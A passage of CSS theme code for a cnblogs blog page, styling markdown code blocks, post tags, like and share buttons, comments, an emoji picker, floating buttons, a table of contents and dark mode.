!important; /* border: 1px solid var(--border-color-base); */ } .cnblogs-markdown code br, .cnblogs-markdown tt br { display: none !important; } .cnblogs-markdown del code { text-decoration: inherit !important; } .cnblogs-markdown pre\u0026gt;code { /* padding: 16px !important; */ /* background: transparent !important; */ /* border: 0 !important; */ } .cnblogs-markdown .highlight { margin-bottom: 16px !important; } .cnblogs-markdown .highlight pre { margin-bottom: 0 !important; /*word-break: normal !important;*/ } .cnblogs-markdown .highlight pre, .cnblogs-markdown pre,pre[class*=\u0026#34;language-\u0026#34;] { /* padding: 0px !important; */ /* overflow-x: auto !important; */ font-size: 85% !important; /* width: 100%; */ /* line-height: 1.45 !important; */ /* background-color: #282c34 !important; */ border-radius: 4px !important; /* border: none; */ } .cnblogs-markdown pre code, .cnblogs-markdown pre tt { /*display: inline !important;*/ /*max-width: auto !important;*/ /* padding: 0px !important; */ /* padding: 16px !important; */ /* line-height: inherit !important; */ white-space: pre !important; word-break: keep-all; /* text-overflow: clip; */ /* background-color: initial !important; */ /* border: 0 !important; */ } .cnblogs-markdown .csv-data td, .cnblogs-markdown .csv-data th { padding: 5px !important; overflow: hidden !important; font-size: 12px !important; line-height: 1 !important; text-align: left !important; white-space: nowrap !important; } .cnblogs-markdown .csv-data .blob-num { padding: 10px 8px 9px !important; text-align: right !important; background: #fff !important; border: 0 !important; } .cnblogs-markdown .csv-data tr { border-top: 0 !important; } .cnblogs-markdown .csv-data th { font-weight: 600 !important; background: #f6f8fa !important; border-top: 0 !important; } } /************** github markdown 结束 ***************/ /************** 博文互动开始 ***************/ @media screen and (min-width:0px) { #BlogPostCategory, #EntryTag, #BlogCollection { font-family: element-icons; margin: 10px 0; font-size: 0; display: flex; flex-wrap: wrap; align-items: center; justify-content: flex-start; } #BlogPostCategory a, #EntryTag a , #BlogCollection a{ margin: 4px 8px 4px 0; display: inline-block; font-size: small; } #BlogPostCategory:before { content:\u0026#34; 分类：\u0026#34;; font-size: var(--text-h5); } #EntryTag:before { content: \u0026#34; 标签：\u0026#34;; font-size: var(--text-h5); } #BlogCollection:before { content: \u0026#34; 合集：\u0026#34;; font-size: var(--text-h5); } #BlogPostCategory a { background: var(--color-info-2); color:var(--color-text-regular); padding: 2px 12px; border-radius: 100px; transition-property: color , border; transition-duration:.3s , .3s; font-size: 14px; } #BlogPostCategory a:before { content:\u0026#34;\\f07c\u0026#34;; font-family:fontawesome; font-size: 14px!important; } #BlogPostCategory a:hover { background: var(--color-primary); color: #fff; transition-property: color , border, background; transition-duration:.3s , .3s; } #EntryTag a { background: var(--color-info-2); color:var(--color-text-regular); padding: 2px 12px; border-radius: 100px; transition-property: color , border; transition-duration:.3s , .3s; font-size: 14px; } #EntryTag a:before { content:\u0026#34;\\f02b\u0026#34;; font-family:fontawesome; font-size: 14px!important; } #EntryTag a:hover { background: var(--color-primary); color: #fff; transition-property: color , border, background; transition-duration:.3s , .3s; } #BlogCollection a { background: var(--color-info-2); color:var(--color-text-regular); padding: 2px 12px; border-radius: 100px; transition-property: color , border; transition-duration:.3s , .3s; font-size: 14px; } #BlogCollection a:before { content:\u0026#34;\\f02e\u0026#34;; font-family:fontawesome; font-size: 14px!important; } #BlogCollection a:hover { background: var(--color-primary); color: #fff; transition-property: color , border, background; transition-duration:.3s , .3s; } #BlogPostCategory a:before, #EntryTag a:before, #BlogCollection a:before{ margin-right: 4px; } #BlogPostCategory a:before { /* content: \u0026#34;\\e784\u0026#34;; */ } #EntryTag a:before { /* content: \u0026#34;#\u0026#34;; */ } #blog_post_info { display: flex; flex-wrap: wrap; align-items: center; /* grid-template-columns:100%; */ /* grid-gap:20px; */ margin-top: 40px; position: relative; justify-content: flex-start; border-bottom: 1px solid var(--border-color-extra-linght); } #green_channel { /* width: 100% !important; */ /* padding: 20px 10px; */ border: none; margin: 20px auto 40px 0px; display: flex; align-items: center; /* grid-template-columns: repeat(3, 1fr); */ /* grid-gap: 30px; */ justify-content: center; font-family: FontAwesome; /* flex: auto; */ width: fit-content!important; order: 1; float: left; } #green_channel a { padding: 0 20px; } #green_channel a { background: transparent !important; border: none !important; box-shadow: none !important; text-shadow: none !important; color: var(--color-text-primary) !important; padding: 0 !important; margin: 0 10px !important; } #green_channel a:link, #green_channel a:visited, #green_channel a:active { color: var(--color-text-primary) !important; } #green_channel a { /* display: flex; */ /* align-items: center; */ font-size: 0; font-weight: normal; /* grid-template-columns: 100%; */ margin: 0 20px; position: relative; } #green_channel a:before { display: flex; align-items: center; justify-content: center; font-size: var(--text-h4); border-radius: 100px; line-height: 40px; height: 40px; width: 40px; border: 1px solid var(--BackgroundColor); /* transition: all 300ms; */ } #green_channel_digg, #green_channel span, #green_channel_follow { display: none !important; } #green_channel_digg:before { content: \u0026#34;\\f087\u0026#34;; } #green_channel_follow:before { content: \u0026#34;\\f08a\u0026#34;; } #green_channel_favorite:before { content: \u0026#34;\\f005\u0026#34;; color: var(--color-info-0); } #green_channel_favorite:hover:after { font-size: 14px; font-size: 10px; color: var(--color-text-secondary); top: -50%; left: -2px; right: 0; width: max-content; position: absolute; animation-name: fadeInUp; animation-duration: 0.3s } #green_channel_favorite:hover:before { content: \u0026#34;\\f005\u0026#34;; color: var(--color-warning); transition: 300ms; } #green_channel_weibo:before { content: \u0026#34;\\f18a\u0026#34;; color: var(--color-info-0); } #green_channel_weibo:hover:before { content: \u0026#34;\\f18a\u0026#34;; color: #F44336; transition: 300ms; } #green_channel_weibo img { display: none; } #green_channel_weibo:after { content: \u0026#34;微博分享\u0026#34; } #green_channel_weibo:hover:after { font-size: 14px; content: \u0026#34;微博分享\u0026#34;; font-size: 10px; color: var(--color-text-secondary); top: -50%; left: -2px; right: 0; width: max-content; position: absolute; animation-name: fadeInUp; animation-duration: 0.3s } #green_channel_wechat:before { content: \u0026#34;\\f1d7\u0026#34;; color: var(--color-info-0); } #green_channel_wechat:hover:after { font-size: 14px; content: \u0026#34;微信分享\u0026#34;; font-size: 10px; color: var(--color-text-secondary); top: -50%; left: -2px; right: 0; width: max-content; position: absolute; animation-name: fadeInUp; animation-duration: 0.3s } #green_channel_wechat:hover:before { content: \u0026#34;\\f1d7\u0026#34;; color: var(--color-success); } #green_channel_wechat img { display: none; } #green_channel_wechat:after { content: \u0026#34;微信分享\u0026#34; } #div_digg { margin: 20px 10px 40px auto; padding: 0; width: fit-content; color: var(--color-text-primary) !important; /* flex-grow: 1; */ text-align: center; display: flex; /* flex-direction: column; */ /* position: absolute; */ } .diggit { background: transparent!important; color: var(--color-info-0); margin: 0; padding: 0; width: fit-content; height: fit-content; transition: 300ms; /* position:relative; */ } .diggit:hover:after { font-size: 14px; content: \u0026#34;支持一下\u0026#34;; font-size: 10px; color: var(--color-text-secondary); top: 10px; margin: 0 auto 0 -23.5px; width: max-content; position: absolute; animation-name: fadeInUp; animation-duration: 0.3s; } .zan .diggit:before { color: #FA7298; animation-name: zan; animation-duration: 0.5s; } #digg_tips { font-size: 0; } #digg_tips a { /* position: relative; */ font-size: 0px; /* right:0; */ margin: -2px!important; padding: 0!important; display: flex; align-items: center; justify-content: center; width: 44px; height: 44px; /* z-index: -2; */ text-decoration: none; } #digg_tips a:before { font-size: 14px; content: \u0026#34;\\f004\u0026#34;; width: 40px; line-height: 40px; height: 40px; color: #FA7298; font-size: var(--text-h4); } #digg_tips a:hover:after { font-size: 14px; content: \u0026#34;取消支持\u0026#34;; font-size: 10px; color: var(--color-text-secondary); top: -50%; width: max-content; position: absolute; animation-name: fadeInUp; animation-duration: 0.3s } .diggnum { /* display:none; */ color: var(--tect-color-regular)!important; font-family: inherit; position: absolute; top: 80px; margin: 0 auto; left: 0; right: 0; width: max-content; pointer-events: none; } .diggnum:after { content: \u0026#34; 人觉得很赞\u0026#34;; } .buryit { display: none; } .diggit:hover:before { color: #FA7298 } @keyframes zan { from { opacity: 0; -webkit-transform: scale(1.2); transform: scale(1.2); } to { opacity: 1; -webkit-transform: none; transform: none; } } .diggit:before { content: \u0026#34;\\f004\u0026#34;; font-family: \u0026#39;FontAwesome\u0026#39;; font-size: var(--text-h4); /* font-family: \u0026#39;Material Icons\u0026#39;; */ display: flex; align-items: center; justify-content: center; font-size: var(--text-h4); border-radius: 100px; line-height: 40px; height: 40px; width: 40px; border: 1px solid var(--BackgroundColor); } /*:after { position:absolute; top:0; content: \u0026#34;+1\u0026#34;; font-size: var(--text-h4); display: flex; align-items: center; justify-content: center; font-size: var(--text-h4); border-radius: 100px; line-height: 40px; height: 40px; width: 40px; display:none; animation-name:fadeOutUp; animation-duration: 0.5s; } */ @media screen and (max-width:540px) { #div_digg { margin: 20px 10px 40px auto; } #author_profile_honor { display: none; } } /* 博主信息 */ #author_profile { order: 1; width: 100%; display: flex; align-items: center; margin: 20px 0; border: 1px solid var(--BackgroundColor); padding: 20px; border-radius: 4px; } .author_profile_info { flex-grow: 1; color: var(--color-text-primary); } #author_profile a:hover { text-decoration: none; } .author_avatar { margin: 0; padding: 0; height: 54px; height: 54px; border-radius: 100px; } #author_profile_detail { margin: 0 20px; } #author_profile_honor { padding: 4px 12px; border-radius: 4px; margin: 0 20px; font-size: var(--text-h6); color: #fff; background: var(--color-primary); cursor: pointer } #author_profile_honor:empty { display: none; } #author_profile_honor:before { content: \u0026#34;\\f091\u0026#34;; margin-right: 10px; /* color:#FF9800 */ /* font-family:element-icons; */ ; } #author_profile_follow { font-size: 0; } #author_profile_follow a, #author_profile_follow span { background: #fdedf1; border: 1px solid #ffe1ea; color: #ff5182!important; padding: 6px 12px; border-radius: 4px; font-size: var( --text-h6); transition: all 300ms; } #author_profile_follow a:hover { background: var(--color-danger-0); border: 1px solid var(--color-danger-0); transition: all 300ms; color: #fff!important; } /*上下篇*/ #post_next_prev { font-size: var(--text-h5); text-overflow: ellipsis; width: 100% !important; display: grid; padding: 20px 0 0; border-radius: 6px; grid-template-columns: 0 auto 1fr 14px auto 1fr; justify-content: space-between; overflow: hidden; } #post_next_prev a { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } #post_next_prev br { width: 0 !important; display: none; margin: 0 7px !important; } .p_n_p_prefix { font-size: 0; } } /************** 博文互动结束 ***************/ /************** 评论开始 ***************/ @media screen and (min-width:0px) { .login_tips { padding: 20px; background: none; text-align: center; } #blog-comments-placeholder div[style=\u0026#34;color:green;margin:50px 0;font-weight:normal;\u0026#34;] { margin: 0 !important; padding: 20px; text-align: center; } #blog-comments-placeholder div[style=\u0026#34;color:green;margin:50px 0;font-weight:normal;\u0026#34;]:before { content: \u0026#34;\\e6cf\u0026#34;; font-family: element-icons; margin-right: 6px; } #comment_form_container span[style=\u0026#34;color:red\u0026#34;] { text-align: center !important; padding: 20px !important; display: block; } #comment_form_container span[style=\u0026#34;color:red\u0026#34;]:before { content: \u0026#34;\\f071\u0026#34;; font-family: FontAwesome; margin-right: 6px; } .commentbox_tab:hover, .commentbox_tab.active { border-bottom-color: var(--color-primary); } #comment_form { border: 0px solid var(--border-color-light); } #comment_form, #blog-comments-placeholder { margin: 0 0 20px 0; background: var(--color-white); border-radius: 0; } #blog-comments-placeholder br { display: none; } #comment_nav { padding: 20px; text-align: center; display: none; /* border-bottom: 1px solid var(--border-color-extra-linght); */ } #commentform_title { background: none; padding: 0; margin: 0; } #commentform_title, .feedback_area_title { margin: 0; font-size: var(--text-h4); font-weight: 500; /* text-indent:10px; */ padding: 14px 14px 14px; /* border-top: 1px solid var(--border-color-extra-linght); */ border-bottom: 1px solid var(--border-color-extra-linght); position: relative; /* order: 1; */ } #commentform_title:before, .feedback_area_title:before { /* content: \u0026#34;\u0026#34;; */ border-left: solid 4px var(--color-primary); margin-right: 10px; width: fit-content; } #commentform_title:after, .feedback_area_title:after { /* content: \u0026#34;\u0026#34;; */ width: 40px; height: 2px; border-radius: 4px; display: block; background: var(--color-primary); position: absolute; bottom: -1px; left: 20px; z-index: 4; transition: width 500ms; } #commentform_title:hover:after, .feedback_area_title:hover:after { width: 80px; } .feedbackItem { /* border-bottom: 1px solid var(--border-color-extra-linght); */ padding: 16px 10px 0; box-sizing: border-box; position: relative; } .feedbackListSubtitle { display: flex; /* line-height:2; */ color: var(--color-text-secondary); font-size: 0; white-space: nowrap; overflow-x: auto; /* width: 100%; */ flex-wrap: wrap; /* position: relative; */ } .comment_vote { color: var(--color-text-secondary); padding-bottom: 16px; font-size: var(--text-h5) !important; border-bottom: 1px solid var(--border-color-extra-linght); } .feedbackListSubtitle a { font-size: var(--text-h5); } .layer { /* width:100%; */ order: 1; margin-right: 10px; } .feedbackManage { order: 6; position: absolute; /* left: 20px; */ bottom: 0px; margin-bottom: 16px; } .comment_date { order: 3; width: 100%; font-size: var(--text-h5); } .feedbackListSubtitle a[id^=\u0026#34;a_comment_author\u0026#34;] { order: 2; overflow: hidden; /* width: 100%; */ /* margin-right: 120px; */ white-space: nowrap; text-overflow: ellipsis; color: var(--color-text-regular); /* padding-right: 200px!important; */ } .louzhu { order: 3; display: flex; align-items: center; justify-content: center; } .louzhu:before { content: \u0026#34;作者\u0026#34;; font-size: 10px!important; ; color: #fff; margin-left: 4px; background: #ea7197; height: 14px; line-height: 14px; padding: 2px 4px; border-radius: 2px; font-family: fontawesome; /* font-size: var(--text-h5) !important; */ } .comment_textarea { width: calc(100% - 28px)!important; margin: 10px 14px 14px!important; border: 1px solid var(--border-color-extra-linght); background: var(--color-white); transition: none; } #tbCommentBody { background: var(--color-white); color: var(--text-color-regular); max-height: 200px; font-size: 16px; } .commentbox_title, .commentbox_tab:hover, .commentbox_tab.active { /* border-color: var(--color-primary); */ color: var(--color-text-regular); } .commentbox_title { border-bottom: 1px solid var(--border-color-extra-linght) !important; } #commentbox_opt { padding: 0 14px; margin: 0!important; } #comment_form_container p:nth-child(7) { padding: 10px 20px; font-size: var(--text-h6); color: var(--color-text-secondary); } #tbCommentBodyPreviewBody { max-height: 200px; overflow-y: auto; margin: 0; height: 250px; padding: 14px 0; } #btn_comment_submit { background:#d9665b; border-radius: 4px; border: none; color: #fff; cursor: pointer; outline: none; line-height: 30px; height: 30px; width: 80px; } #btn_comment_submit:hover { /* color: #fff; transition: all 300ms; /* border: 1px solid var(--color-primary); */ /* background: var(--color-primary); */ opacity:.8; } .blog_comment_body { padding: 10px 0; } #tip_comment, #tip_comment2 { display: none; } .comment_my_posted, .new-comment-block { padding: 20px; border-bottom: 1px dashed var(--border-color-base); } .bq_post_comment { border: none; } } /************** 评论结束 ***************/ /************** 弹窗开始 ***************/ @media screen and (min-width:0px) { .ui-popup { max-width: calc(100vw - 28px) !important; } .art-dialog-content, .alert-dialog-grid, .alert-dialog-header, .alert-dialog-body, .alert-dialog-footer { max-width: calc(100vw - 70px) !important; } .art-dialog-title { max-width: 100px !important; } .art-dialog-content iframe { overflow-y: auto !important; } } /************** 弹窗结束 ***************/ .line-numbers .line-numbers-rows { /* letter-spacing: 0!important; */ /* font-family: monospace!important; */ /* border-right: none!important; */ } /*代码字体大小*/ pre[class*=\u0026#34;language-\u0026#34;], code[class*=\u0026#34;language-\u0026#34;]{ font-size:14px!important; } pre[class*=\u0026#34;language-\u0026#34;] code::-webkit-scrollbar { width: 8px; height: 8px; transition: height 3000ms; } pre[class*=\u0026#34;language-\u0026#34;] code::-webkit-scrollbar-thumb { background-color: #c1c1c1; } /*** 代码复制 开始**/ @media screen and (min-width:0px) { .codeType { position: absolute; top: 0; right: 0px; padding: 2px 10px; border-radius: 4px; /* background:#1e1e1e; */ color: #dcdcd0; z-index: 2; font-size: small; /* box-shadow: 0px 0px 10px 5px rgba(0, 0, 0, 0.1); */ } .clipboard-button { position: absolute; display: none; z-index: 2; right: 10px; top: 7px; border-radius: 4px; font-size: 12px !important; color: #333; padding: 2px 6px; box-sizing: border-box; background-color: #fff; box-shadow: 0px 0px 10px 5px rgba(0, 0, 0, 0.1); cursor: pointer; } .clipboard-button:before { content: \u0026#34;复制\u0026#34; } .copyItem:hover .clipboard-button { display: block; z-index: 2; } } /*** 代码复制 结束**/ /*** 评论头像开始**/ @media screen and (min-width:0px) { .feedbackListSubtitle_right, .feedbackCon_right { margin-left: 60px; } .comment_avatar { width: 48px; height: 48px; border-radius: 100%; border: 1px solid var(--DividColor); } .comment_avatar img { box-shadow: 0 0 1px 0px rgba(51, 51, 51, .1) !important; } } /*** 评论头像 结束**/ /**** owo开始 ****/ @media screen and (min-width:0px) { .OwO { position: relative; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none } .OwO:hover .OwO-logo { color: #444 } .OwO.OwO-open .OwO-logo { border-radius: 4px 4px 0 0; /* border-bottom: none; */ color: #444; } .OwO.OwO-open .OwO-body { display: block } .OwO.OwO-up .OwO-body { top: inherit; bottom: 40px; border-radius: 4px 4px 4px 0; width: 290px!important; /* height: 150px; */ } .OwO .OwO-body { animation-name: fadeOutUp; animation-duration: 0.4s; } .OwO-open .OwO-body { animation-name: fadeInDown; animation-duration: 0.4s; } .OwO.OwO-up .OwO-body .OwO-bar .OwO-packages li:nth-child(1) { border-radius: 0 } .OwO.OwO-up.OwO-open .OwO-logo { border: none; border-radius: 0 0 4px 4px; /* border-top: none; */ } .OwO .OwO-logo { position: relative; display: inline-block; color: #888; background: var(--color-white); border: none; border-radius: 4px; font-size: 16px; padding: 2px 5px; cursor: pointer; height: 22px; box-sizing: border-box; z-index: 2; line-height: 16px; } .OwO .OwO-logo:hover span { display: inline-block; -webkit-animation: a 5s infinite ease-in-out; animation: a 5s infinite ease-in-out } .OwO .OwO-body { display: none; position: absolute; width: 400px; background: var(--color-white); border: 1px solid var(--border-color-extra-linght); z-index: 1; top: 21px; border-radius: 0 4px 4px 4px; } .OwO .OwO-body .OwO-items { -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; display: none; padding: 10px; margin: 0; overflow: scroll; font-size: 0 } .OwO .OwO-body .OwO-items .OwO-item { list-style-type: none; background: var(--background-color-base); padding: 5px 10px; border-radius: 5px; display: inline-block; font-size: 12px; line-height: 14px; margin: 0 10px 12px 0; cursor: pointer; -webkit-transition: .3s; transition: .3s; } .OwO .OwO-body .OwO-items .OwO-item:hover { background: var(--background-color-base); box-shadow: 0 2px 2px 0 rgba(0, 0, 0, .14), 0 3px 1px -2px rgba(0, 0, 0, .2), 0 1px 5px 0 rgba(0, 0, 0, .12); -webkit-animation: a 5s infinite ease-in-out; animation: a 5s infinite ease-in-out; } .OwO .OwO-body .OwO-items-emoji .OwO-item { font-size: 20px; line-height: 19px } .OwO .OwO-body .OwO-items-image .OwO-item { max-width: calc(25% - 10px); box-sizing: border-box } .OwO .OwO-body .OwO-items-image .OwO-item img { max-width: 100% } .OwO .OwO-body .OwO-items-show { display: block } .OwO .OwO-body .OwO-bar { width: 100%; height: 30px; border-top: 1px solid var(--border-color-extra-linght); background: var(--color-white); border-radius: 0 0 4px 4px; color: var(--color-text-regular); } .OwO .OwO-body .OwO-bar .OwO-packages { margin: 0; padding: 0; font-size: 0 } .OwO .OwO-body .OwO-bar .OwO-packages li { list-style-type: none; display: inline-block; line-height: 30px; font-size: 14px; padding: 0 10px; cursor: pointer; margin-right: 3px } .OwO .OwO-body .OwO-bar .OwO-packages li:nth-child(1) { border-radius: 0 0 0 3px } .OwO .OwO-body .OwO-bar .OwO-packages li:hover { background: var(--border-color-light); } .OwO .OwO-body .OwO-bar .OwO-packages .OwO-package-active { background: var(--background-color-base); -webkit-transition: .3s; transition: .3s; } /* 表情 */ img[src^=\u0026#34;https://cdn.jsdelivr.net/gh/moezx/cdn@3.1.9/img/Sakura/images/smilies\u0026#34;], img[src^=\u0026#34;https://images.cnblogs.com/cnblogs_com/gshang/1626876/\u0026#34;], img[src^=\u0026#34;https://images.cnblogs.com/cnblogs_com/gshang/1663431/\u0026#34;] { width: 22px; height: 22px; margin-bottom: -4px; } } /**** owo结束****/ /********* 悬浮按钮 ********/ @media screen and (min-width:0px) { .float-btn { position: fixed; bottom: 20px; right: 10px; z-index: 97; transition: 0.3s transform; } .float-btn-hide { transform: translateX(200%); transition: 0.3s transform; } .float-btn ul { display: flex; flex-direction: column; /* grid-template-columns: 100%; */ /* grid-gap: 10px; */ padding: 0; margin: 0; } .float-btn li { background: var(--color-white); color: var(--color-text-regular); font-family: FontAwesome; list-style-type: none; width: 40px; height: 40px; display: flex; line-height: 40px; text-align: center; align-items: center; justify-content: center; border-radius: 100px; box-shadow: var(--light-shadow); position: relative; overflow: visible; margin-bottom: 10px; } .float-btn li a { display: block; width: 40px; height: 40px; } @media screen and (min-width:1200px) { .float-btn li:before { content: \u0026#34;\u0026#34;; position: absolute; right: calc(100% + 10px); display: block; white-space: nowrap; background: #222527; border-radius: 4px; height: 36px; display: none; color: white; font-size: var(--text-h6); align-items: center; padding: 0 14px; transformX: 0%; transition: all 300ms; } .float-btn li:after { content: \u0026#34;\u0026#34;; position: absolute; right: calc(100% + 5px); width: 10px; height: 10px; z-index: -1; color: white; background: #222527; transform: rotate(45deg); display: none; transformX: 0%; transition: all 300ms; } .float-btn li:hover:before, .float-btn li:hover:after { display: flex !important; transition: all 300ms; transformX: 100%; } .btn-top:before { content: \u0026#34;返回顶部\u0026#34; !important; } .btn-content:before { content: \u0026#34;切换到目录\u0026#34; !important; } .btn-content.btn-content-open:before { content: \u0026#34;切换到默认\u0026#34; !important; } .btn-comment:before { content: \u0026#34;发表评论\u0026#34; !important; } .btn-main:before { content: \u0026#34;打开侧边\u0026#34; !important; } .btn-share:before { content: \u0026#34;当前网址二维码\u0026#34; !important; } .btn-theme:before { content: \u0026#34;夜间模式\u0026#34; !important; } html[theme=\u0026#39;dark\u0026#39;] .btn-theme:before { content: \u0026#34;日间模式\u0026#34; !important; } .btn-comment:before { content: \u0026#34;发表评论\u0026#34; !important; } .main-widthout-sidebar .btn-main:before { content: \u0026#34;隐藏侧边\u0026#34; !important; } } .btn-top a:before { content: \u0026#34;\\f0d8\u0026#34; } .btn-content { display: none; } .btn-content a:before { content: \u0026#34;\\f0ec\u0026#34;; } .btn-content.btn-content-open a:before { content: \u0026#34;\\f0ec\u0026#34;; } .btn-sidebar a:before { content: \u0026#34;\\f0c9\u0026#34; } .btn-sidebar.btn-sidebar-open a:before { content: \u0026#34;\\f00d\u0026#34; !important; } .btn-comment a:before { content: \u0026#34;\\f075\u0026#34;; } .btn-main a:before { content: \u0026#34;\\f03c\u0026#34; } .main-widthout-sidebar .btn-main a:before { content: \u0026#34;\\f03b\u0026#34;!important; } .btn-commet a:before { content: \u0026#34;\\f27a\u0026#34; } @media screen and (max-width:1200px) { .btn-main { /* display: none !important; */ } } @media screen and (min-width:1200px) { .btn-sidebar { display: none !important; } .btn-main.btn-main-open a:before { content: \u0026#34;\\f0c9\u0026#34; !important; } .main-hide { grid-template-columns: 100% !important; transition: width 300ms; } .main-hide #sideBar { display: none; } } } /******** 导航目录 *********/ @media screen and (min-width: 0px) { .scroller-offset1 { content: \u0026#34;\u0026#34;; padding-left: 0px; } .scroller-offset2 { content: \u0026#34;\u0026#34;; padding-left: 20px!important; } .scroller-offset3 { content: \u0026#34;\u0026#34;; padding-left: 30px!important; } .scroller-offset4 { content: \u0026#34;\u0026#34;; padding-left: 40px!important; } .scroller-offset5 { content: \u0026#34;\u0026#34;; padding-left: 50px!important; } .scroller-offset6 { content: \u0026#34;\u0026#34;; padding-left: 60px!important; } .nav { /* height: calc(100vh - 90px); */ overflow-y: auto; padding: 10px; white-space: nowrap; } .nav li.active:before { background: var(--color-primary) !important; } .nav .active a { /* background-color: #dfedf8; */ font-weight: 600; border-radius: 6px; color: var(--color-primary); /* animation:blink 1s infinite; */ } @keyframes blink { 0% { border: 2px solid var(--color-primary); /* box-shadow:0px 2px 10px #F44336; */ } 50% { border: 2px solid transparent; } 100% { border: 2px solid var(--color-primary); } } .nav .active a:hover { /* background-color: var(--color-primary); */ border-radius: 4px; /* color: #fff; */ /* border:1px solid var(--color-primary); */ } .nav a:hover { color: var(--color-primary); background: var(--color-info-2); border-radius: 4px; /* border:2px solid var(--color-primary); */ transition: all .5s } @media screen and (min-width:1200px) { .nav { /* height: calc(100vh - 50px); */ } } .nav li { padding: 0px; display: flex; /* border-left: 1px solid var(--border-color-extra-linght); */ justify-content: center; align-items: center; /* line-height: 2.4; */ overflow: hidden; } /* .nav li:before { content: \u0026#34;\u0026#34;; width: 8px; height: 8px; display: block; border: 2px solid var(--background-color-base); z-index: 2; margin: 4px 4px 4px -6px; border-radius: 8px; background: var(--border-color-extra-linght); } */ .nav { color: var(--color-info-0); position: relative; padding: 14px 14px 14px 20px !important; } /* .nav:before, .nav:after { content: \u0026#34;\u0026#34;; left: 36px; width: 6px; height: 6px; display: block; margin: 4px 4px 4px -4px; border-radius: 8px; background: var(--background-color-base); border: 2px solid var(--color-primary); } */ .nav li a { text-overflow: ellipsis !important; display: block !important; flex: 1; overflow: hidden; width: 100%!important; height: 100% !important; white-space: nowrap; margin: 1px 0px; padding: 0 10px !important; border: 2px solid transparent; } } /****** 信息提示 *******/ @media screen and (min-width: 0px) { .newscard { border-radius: 4px; margin: 0px 0px 10px; padding: 0px 10px; line-height: 40px; height: 40px; overflow: hidden; background-color: #dfedf8; color: #3162ae; box-shadow: 0 0.05rem 1rem rgba(50, 50, 50, .04); } .newscard ul { height: 40px; margin: 0; padding: 0; } .newstext { word-break: keep-all; white-space: nowrap; overflow: hidden; height: 40px; line-height: 40px; text-overflow: ellipsis; } .newscard i { float: left; margin: 0 10px; font-size: inherit; line-height: 40px; vertical-align: middle !important; } .infocard { border-radius: 4px; margin: 10px 0; padding: 10px 16px; text-align: justify; word-break: break-all; line-height: inherit !important; display: inline-grid; grid-template-columns: auto 1fr; width: 100%; align-items: center; justify-content: center; } .infocard i { /*float: left;*/ margin-right: 16px; font-size: inherit; line-height: inherit !important; vertical-align: middle !important; display: inline-block; } .infocard p { padding: 0 !important; margin: 0 !important; text-align: left; } .tip { background-color: #d5f1e5; color: #20704d; } .warning { background-color: #f9e8de; color: #a84229; } .normal { background-color: #dfedf8; color: #3162ae; } } /* 插入媒体 */ @media screen and (min-width: 0px) { #cnblogs_post_body .video { height: 0; margin: 10px auto; padding-bottom: 56.25%; /* 16:9 */ position: relative; width: 100%; display: flex; justify-content: center; align-items: center; border: 1px solid var(--DividColor); border-radius: 4px; overflow: hidden; } #cnblogs_post_body .video iframe, #cnblogs_post_body .video video { position: absolute; /*left: 0;*/ top: 0; /*right:0;*/ width: 100%; height: 100%; z-index: 0; } #cnblogs_post_body .music { height: 140px; /*padding-bottom: 14.39%;*/ /* 16:9 */ position: relative; width: 100%; } #cnblogs_post_body .music iframe { position: absolute; left: 0; top: 0; width: 100%; height: 100%; } .imgtext { font-size: var(--text7); text-align: center; color: var(--color-text-regular); } } #MySignature { font-size: var(--text-h5); color: var(--color-text-secondary); margin: 40px 0 0; /* padding: 14px; */ } #MySignature i{ color:red; margin-right:4px; } #the-end { text-align: center; display: flex; margin: 14px auto; align-items: center; justify-content: center; } #the-end:before { content: \u0026#34;\u0026#34;; width: 60px; height: 1px; display: inline-block; opacity: 0.8; border-bottom: 1px solid var(--border-color-base); margin-right: 6px; } #the-end:after { content: \u0026#34;\u0026#34;; width: 60px; opacity: 0.8; height: 1px; display: inline-block; border-bottom: 1px solid var(--border-color-base); margin-left: 6px; } pre { display: flex; /* grid-template-columns: auto 1fr; */ } .cnblogs_code pre { display: inherit; } pre code { flex-grow: 1; } ul.pre-numbering { /* min-width: 20px !important; */ width: fit-content !important; padding: 16px 10px!important; border-right: 0px solid #abb2bf; background-color: #1f1f1f !important; color: #a7a7a7; text-align: right; margin-bottom: 0px !important; font-size: var(--text-h6) !important; line-height: 1.5 !important; font-family: SFMono-Regular, Menlo, Monaco, Consolas, \u0026#34;Liberation Mono\u0026#34;, \u0026#34;Courier New\u0026#34;, monospace !important; order: -1; } ul.pre-numbering li { list-style-type: none !important; padding: 0; margin: 0 !important; white-space: nowrap; } ul.pre-numbering li:before { content: attr(data-number); } .sidebar-fixed #sidebar_scroller { margin: 0 } .theme { width: 60px; height: 60px; line-height: 60px; text-align: center; font-size: var(--text-h4); } html[theme=\u0026#34;dark\u0026#34;] #theme:before, html[theme=\u0026#34;dark\u0026#34;] .btn-theme a:before { content: \u0026#34;\\f185\u0026#34; !important; } @media screen and (max-width:767px) { .main-widthout-sidebar #mainContent { height: 100% !important; overflow: hidden !important; } .main-widthout-sidebar .mask { z-index: 98; background: rgba(0, 0, 0, .5); position: fixed; height: 100vh; width: 100vw; top: 0; left: 0; display: block; } } .mask { display: none; } .MathJax { outline: none; } @media screen and (min-width:1200px) { #navList li { position: relative; } #navList li a { width: 50px; } #navList li:before { content: \u0026#34;\u0026#34;; position: absolute; top: calc(100% + 10px); left: 0; right: 0; display: none; white-space: nowrap; background: #222527; border-radius: 4px; width: fit-content; margin: 0 auto; color: white; font-size: var(--text-h6); align-items: center; padding: 4px 6px; transition: all 300ms; } #navList li:after { content: \u0026#34;\u0026#34;; position: absolute; top: calc(100% + 6px); left: 0; right: 0; margin: 0 auto; width: 10px; height: 10px; z-index: -1; color: white; background: #222527; transform: rotate(45deg); display: none; transformX: 0%; transition: all 300ms; } #navList li:hover:before, #navList li:hover:after { display: block !important; transition: all 300ms; transformX: 100%; } #navList li:nth-child(1):before { content: \u0026#34;博客园\u0026#34; !important; } #navList li:nth-child(2):before { content: \u0026#34;首页\u0026#34; !important; } #navList li:nth-child(3):before { content: \u0026#34;新随笔\u0026#34; !important; } #navList li:nth-child(4):before { content: \u0026#34;联系\u0026#34; !important; } #navList li:nth-child(5):before { content: \u0026#34;订阅\u0026#34; !important; } #navList li:nth-child(6):before { content: \u0026#34;管理\u0026#34; !important; } } .tablebox { margin: 20px 0; } .post-header { background-repeat: no-repeat!important; background-size: cover!important; background-position: center!important; min-height: 300px; /* max-height: 